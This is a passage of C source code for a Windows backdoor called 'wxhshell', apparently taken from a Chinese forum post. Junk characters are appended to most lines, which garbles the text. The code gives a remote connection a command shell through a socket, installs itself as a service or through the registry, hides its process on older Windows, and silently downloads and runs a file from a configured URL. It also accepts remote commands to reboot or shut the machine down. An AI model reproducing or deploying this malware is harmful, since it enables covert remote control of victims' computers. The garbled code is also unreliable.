  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A-Sv;/yD_  
  } N..yQ-6x?  
  else { 3oGt3 F{gZ  
'y;EhOwj,  
    switch(cmd[0]) { sT3^hY7  
  dpAjR  
  // 帮助 Su 586;\  
  case '?': { #I{h\x><?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :1cV;gJ  
    break; gn8R[5:!V  
  } 8'r2D+Vwm  
  // 安装 1n >X[! 8x  
  case 'i': { |%F=po>w  
    if(Install()) ~P*6ozSYpY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3m]4=  
    else \8)U!9,$nn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KyVQh8  
    break; bU>U14ix<  
    } *g:4e3Iy  
  // 卸载 Fsmycr!R  
  case 'r': { E ]A#Uy  
    if(Uninstall()) >BR(Wd.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oX#Q<2z*  
    else `slL %j^"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yl4^AR&  
    break; M>wYD\oeg  
    } D"Bl:W'?j  
  // 显示 wxhshell 所在路径 /7a BDc-v  
  case 'p': { =e/9&993  
    char svExeFile[MAX_PATH]; -V-RP;">  
    strcpy(svExeFile,"\n\r"); [.O?Z=5a[V  
      strcat(svExeFile,ExeFile); YZLkL26[  
        send(wsh,svExeFile,strlen(svExeFile),0); .f*4T4eR-  
    break; _Zp}?b5Q  
    } nF54tR[  
  // 重启 |'.*K]Yp  
  case 'b': { 1Ce@*XBU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yQ_B)b  
    if(Boot(REBOOT)) r54&XE]O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 09X01X[  
    else { ;X8yFq  
    closesocket(wsh); I?h)OvWd  
    ExitThread(0); F|d\k Q  
    } Lz`E;k^  
    break; #ZJ _T`l  
    } 3C?f(J}  
  // 关机 xHUsFm s  
  case 'd': { `n#H5Oyn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Pj#<K%Bz  
    if(Boot(SHUTDOWN)) Gy9$wH@8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]mo-rhDsM  
    else { eK6hS_E  
    closesocket(wsh); Fz3fwLawI  
    ExitThread(0); 6%'.A]"  
    } C\S3Gs  
    break; *S]Ci\{_  
    } Q}1 R5@7  
  // 获取shell [=E  
  case 's': { &R[ M c-2  
    CmdShell(wsh); -d~4A  
    closesocket(wsh); FK:;e lZ  
    ExitThread(0); dU6ou'p f  
    break; ,p4&g)o  
  } 2"0es40;0  
  // 退出 7F zA*  
  case 'x': { Of- Rx/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p6 ]7&{>  
    CloseIt(wsh); xO$lsZPG  
    break; $:cE ^8K  
    }  tR}MrM  
  // 离开 I~q#eO)  
  case 'q': { r;/4F/6"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {%<OD8>p  
    closesocket(wsh); oo,uO;0G  
    WSACleanup(); Uo-)pFN^  
    exit(1); 7R`M,u~f2^  
    break; ql<i]Y  
        } cWEE%  
  } a;rdQ>  
  } @ >d*H75  
W0y '5`  
  // 提示信息 KX!T8+Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); = 6tHsN23  
} ]Uw<$!$-]s  
  } V `b2TS  
M3J#'%$  
  return; ?HTj mIb  
} E%+Dl=  
Ky|88~}:C9  
// shell模块句柄 8I-u2Y$Sr  
int CmdShell(SOCKET sock) `NnUyQ;T  
{ :j5n7s?&=y  
STARTUPINFO si; o 4`hY/<t  
ZeroMemory(&si,sizeof(si)); 0)%YNaskj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6FUw"|\u{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; us ;YV<)d  
PROCESS_INFORMATION ProcessInfo; ,LTH;<zB)  
char cmdline[]="cmd"; ?Eg(Gu.J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @.osJ}FxA  
  return 0; !(mjyr  
}  :l~ I  
<:(6EKJAq}  
// 自身启动模式 dA-2%uJ  
int StartFromService(void) nIAx2dh?  
{ 8yRJD[/S  
typedef struct r>dwDBE  
{ _9faBrzd  
  DWORD ExitStatus; f_wvZ&  
  DWORD PebBaseAddress; a#^B2  
  DWORD AffinityMask; sJ# 4(r`  
  DWORD BasePriority; /|r^W\DV&x  
  ULONG UniqueProcessId; =7-9[{  
  ULONG InheritedFromUniqueProcessId; e8y;.D[2  
}   PROCESS_BASIC_INFORMATION; ~hZ"2$(0  
d{rQzia"mV  
PROCNTQSIP NtQueryInformationProcess; A3rPt&<a  
IN4=YrM^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s4G|_==  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A:>01ZJ5S+  
cmBB[pk\  
  HANDLE             hProcess; ^:K3vC[h;c  
  PROCESS_BASIC_INFORMATION pbi; unshH<  
FjK3 .>'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0T@Zb={  
  if(NULL == hInst ) return 0; zw+B9PYqX  
&yGaCq;0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $h^wG)s2P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _6O\W%it  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bnm P{Ps  
D Gr> 2  
  if (!NtQueryInformationProcess) return 0; BsBK@+ZyI  
{xwm^p(f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B,M(@5wz  
  if(!hProcess) return 0; UV5Ie!\nm  
1lq(PGX)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %F\?R[^5  
pM x  
  CloseHandle(hProcess); | B. 0TdF  
_=+V/=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,pqGX3  
if(hProcess==NULL) return 0; `%CtWJ(e  
'=[?~0(B  
HMODULE hMod; 4?0vso*X<:  
char procName[255]; ">~.$Jp_4  
unsigned long cbNeeded; 7Ok;Lt!x  
2}YOcnB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aJYgzr,  
z)'Mk[  
  CloseHandle(hProcess); n_$ :7J  
el2bd :  
if(strstr(procName,"services")) return 1; // 以服务启动 dOqOw M.y  
Fp@TCPe#  
  return 0; // 注册表启动 6^uq?  
} T^:UBjK6t{  
&f!z1d-qg?  
// 主模块 bx<RV7>0  
int StartWxhshell(LPSTR lpCmdLine) 6WV\}d:  
{ GMMp|WV|  
  SOCKET wsl; 5:O-tgig.  
BOOL val=TRUE; }~#pEX~j*  
  int port=0; xB_!>SqF1U  
  struct sockaddr_in door; }MRd@ 0-?!  
MHSs!^/g5  
  if(wscfg.ws_autoins) Install(); tYZ[6 8  
}Mo=PWI1?  
port=atoi(lpCmdLine); @|<<H3I  
:{qv~&+C  
if(port<=0) port=wscfg.ws_port; ~vs}.kb  
QF{4/y^j{  
  WSADATA data; %{YN70/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *&?c(JU;<  
HU%o6cw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K/A*<<r ~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8d?g]DEN)6  
  door.sin_family = AF_INET; "5;;)\o ~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @.G[s)x  
  door.sin_port = htons(port); ~7Ts_:E-  
f>aEkh6u9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jZh';M8"  
closesocket(wsl); 7s"< 'cx_F  
return 1; VS9`{  
} $wmvKQc{lx  
uIcn{RZ_z  
  if(listen(wsl,2) == INVALID_SOCKET) { A'G66ei  
closesocket(wsl); " Om[~-31  
return 1; Y3r%B9~  
} 2rmSo&3@s  
  Wxhshell(wsl); M>&%(4K  
  WSACleanup(); A:aE|v/T&  
B+[A]dgS  
return 0; /GIxR6i  
^\\Tx*#i  
} GKvN* SU=  
7:9.&W/KE  
// 以NT服务方式启动 M%1}/!J3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q>/C*@  
{ A/s>PhxV  
DWORD   status = 0; M7+nW ; e%  
  DWORD   specificError = 0xfffffff; Ul2R'"FB  
d*A*y^OD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; la( <8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T32+3wb"I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gN24M3{C  
  serviceStatus.dwWin32ExitCode     = 0; '3TW [!m  
  serviceStatus.dwServiceSpecificExitCode = 0; `9)t[7  
  serviceStatus.dwCheckPoint       = 0; Z-E`>  
  serviceStatus.dwWaitHint       = 0; *GxTX3i}vc  
jov:]Bic  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }| J79s2M  
  if (hServiceStatusHandle==0) return; {Z3dF)>  
|~'IM3Jw(Y  
status = GetLastError(); M@4UGM`J  
  if (status!=NO_ERROR) j'%$XvI  
{ z |a sa*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8'<-:KG  
    serviceStatus.dwCheckPoint       = 0; )t$,e2FY  
    serviceStatus.dwWaitHint       = 0; @fs`=lL/  
    serviceStatus.dwWin32ExitCode     = status; A3B56K  
    serviceStatus.dwServiceSpecificExitCode = specificError; vk*=4}:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !PrwH;  
    return; }e2(T  
  } wNQ*t-K  
p3]_}Y D[#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #+$G=pS'v  
  serviceStatus.dwCheckPoint       = 0; ?*?RP)V  
  serviceStatus.dwWaitHint       = 0; S/Fkw4%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); COTp  
} 8<.C3m 6h  
66.5QD0  
// 处理NT服务事件,比如:启动、停止 0j30LXI_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T/^Hz4uA7  
{ Jrg2/ee,*  
switch(fdwControl) )dY=0"4Z  
{ w" SoeU  
case SERVICE_CONTROL_STOP: YyTSyP4  
  serviceStatus.dwWin32ExitCode = 0; e =4+$d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oI}kH=<,  
  serviceStatus.dwCheckPoint   = 0; ]4R[<<hd  
  serviceStatus.dwWaitHint     = 0; R,9[hNHWGs  
  { QmLF[\Oo_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .A-]_98Z  
  } 6U[4%(  
  return; ;QW3CEaUq  
case SERVICE_CONTROL_PAUSE: UlAzJO6"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qZ}P*+`Q  
  break; deM7fN4lTi  
case SERVICE_CONTROL_CONTINUE: aYuD>rD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %z#f.Ql  
  break; = M]iIWQ@`  
case SERVICE_CONTROL_INTERROGATE: UB 6mqjPK  
  break; K'X2dG*  
}; &VV~%jl;k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~zSCg|"r  
} @+9<O0  
%^1cyk  
// 标准应用程序主函数 ,WvY$_#xW%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <Q ?a=4  
{ p/U+0f  
bYi`R)  
// 获取操作系统版本 2RN)<\P  
OsIsNt=GetOsVer(); &Y 4F!Rb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^5A t?I8  
:WSDf VX  
  // 从命令行安装 DyQM>xw)t  
  if(strpbrk(lpCmdLine,"iI")) Install(); Wx~k&[&E  
<{2e#Y  
  // 下载执行文件 !-N6l6N  
if(wscfg.ws_downexe) { X66VU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]d a^xWK  
  WinExec(wscfg.ws_filenam,SW_HIDE); INkD=tX  
} ?Y:8eD"*  
zN{K5<7o  
if(!OsIsNt) { \0mb 3Q'  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~(pmLZ<GW}  
HideProc(); _R.B[\r@  
StartWxhshell(lpCmdLine); G7)Fk%>  
} p=C%Hmd5E  
else m;D- u>o  
  if(StartFromService()) Wm);C~Le  
  // 以服务方式启动 $KLD2BAL  
  StartServiceCtrlDispatcher(DispatchTable); I!>\#K  
else {X[ HCfJd  
  // 普通方式启动 Ux#x#N  
  StartWxhshell(lpCmdLine); Qt,M!i,  
HAv{R!*  
return 0; "=6v&G]U4  
}
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只看该作者 1 发表于: 2006-10-10
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